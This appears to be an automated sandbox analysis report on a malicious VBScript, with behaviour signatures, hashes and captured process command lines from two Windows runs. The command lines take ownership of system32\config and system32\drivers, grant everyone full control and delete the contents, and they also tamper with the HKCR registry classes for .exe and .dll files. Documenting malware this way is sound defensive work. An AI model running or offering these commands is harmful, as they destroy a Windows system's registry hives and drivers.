Analysis Overview
SHA256
ffdf818a1b93d894a6bc900b23274f6cc5b3738eec93de978033ddd1f7746ae9
Threat Level: Likely malicious
The file target.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Checks computer location settings
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Modifies registry key
Suspicious use of AdjustPrivilegeToken
Modifies registry class
Runs regedit.exe
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 21:40
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 21:40
Reported
2024-08-15 21:43
Platform
win7-20240729-en
Max time kernel
122s
Max time network
127s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\target.wsf C:\Users\Admin\AppData\Local\Temp\target.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\target.wsf.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.wsf.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
Network
Files
C:\Users\Admin\AppData\Local\Temp\target.wsf.vbs
| MD5 | 84b27604951d4deb2f10cc65c8f5c8a4 |
| SHA1 | 74b27bad7133462abf462923dd3d056a4d655941 |
| SHA256 | ffdf818a1b93d894a6bc900b23274f6cc5b3738eec93de978033ddd1f7746ae9 |
| SHA512 | d8185f6fc7520d720239a3d02516d360f23d8eda4b77e49859ed0641ab6c3aa53b2de4f7d5994e1e138470f6b7f2fa2d116dc6801c23546b701f264451ee33ce |
C:\Users\Admin\Desktop\EditSend.vbs
| MD5 | dfcef0997fe6b53193f96908bc2d7839 |
| SHA1 | bec87de5852184953fe5025aa7a6017e23deead1 |
| SHA256 | 9d2e842fed982dd1f6d185c93feedacb4ac5670f61d9f1934509f159e62a6168 |
| SHA512 | ed4c7fc86525e24651e5c10533da47065d78076b47caacbb08003ed7b475ac23b41fe623b9db5330b3d947ee9df6043f2bf8c77722cab99a864ae5f7d90a2f74 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 21:40
Reported
2024-08-15 21:43
Platform
win10v2004-20240802-en
Max time kernel
139s
Max time network
128s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\*.dll\ | C:\Windows\System32\reg.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\*.exe | C:\Windows\System32\reg.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\*.exe\ | C:\Windows\System32\reg.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\*.dll | C:\Windows\System32\reg.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
Runs regedit.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\regedit.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\target.wsf C:\Users\Admin\AppData\Local\Temp\target.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\target.wsf.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.wsf.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCR\*.dll
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCR\*.exe
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKLM\*
C:\Windows\regedit.exe
"C:\Windows\regedit.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 52.111.229.48:443 | tcp | |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\target.wsf.vbs
| MD5 | 84b27604951d4deb2f10cc65c8f5c8a4 |
| SHA1 | 74b27bad7133462abf462923dd3d056a4d655941 |
| SHA256 | ffdf818a1b93d894a6bc900b23274f6cc5b3738eec93de978033ddd1f7746ae9 |
| SHA512 | d8185f6fc7520d720239a3d02516d360f23d8eda4b77e49859ed0641ab6c3aa53b2de4f7d5994e1e138470f6b7f2fa2d116dc6801c23546b701f264451ee33ce |
C:\Users\Admin\Desktop\DenyRedo.vbs
| MD5 | dfcef0997fe6b53193f96908bc2d7839 |
| SHA1 | bec87de5852184953fe5025aa7a6017e23deead1 |
| SHA256 | 9d2e842fed982dd1f6d185c93feedacb4ac5670f61d9f1934509f159e62a6168 |
| SHA512 | ed4c7fc86525e24651e5c10533da47065d78076b47caacbb08003ed7b475ac23b41fe623b9db5330b3d947ee9df6043f2bf8c77722cab99a864ae5f7d90a2f74 |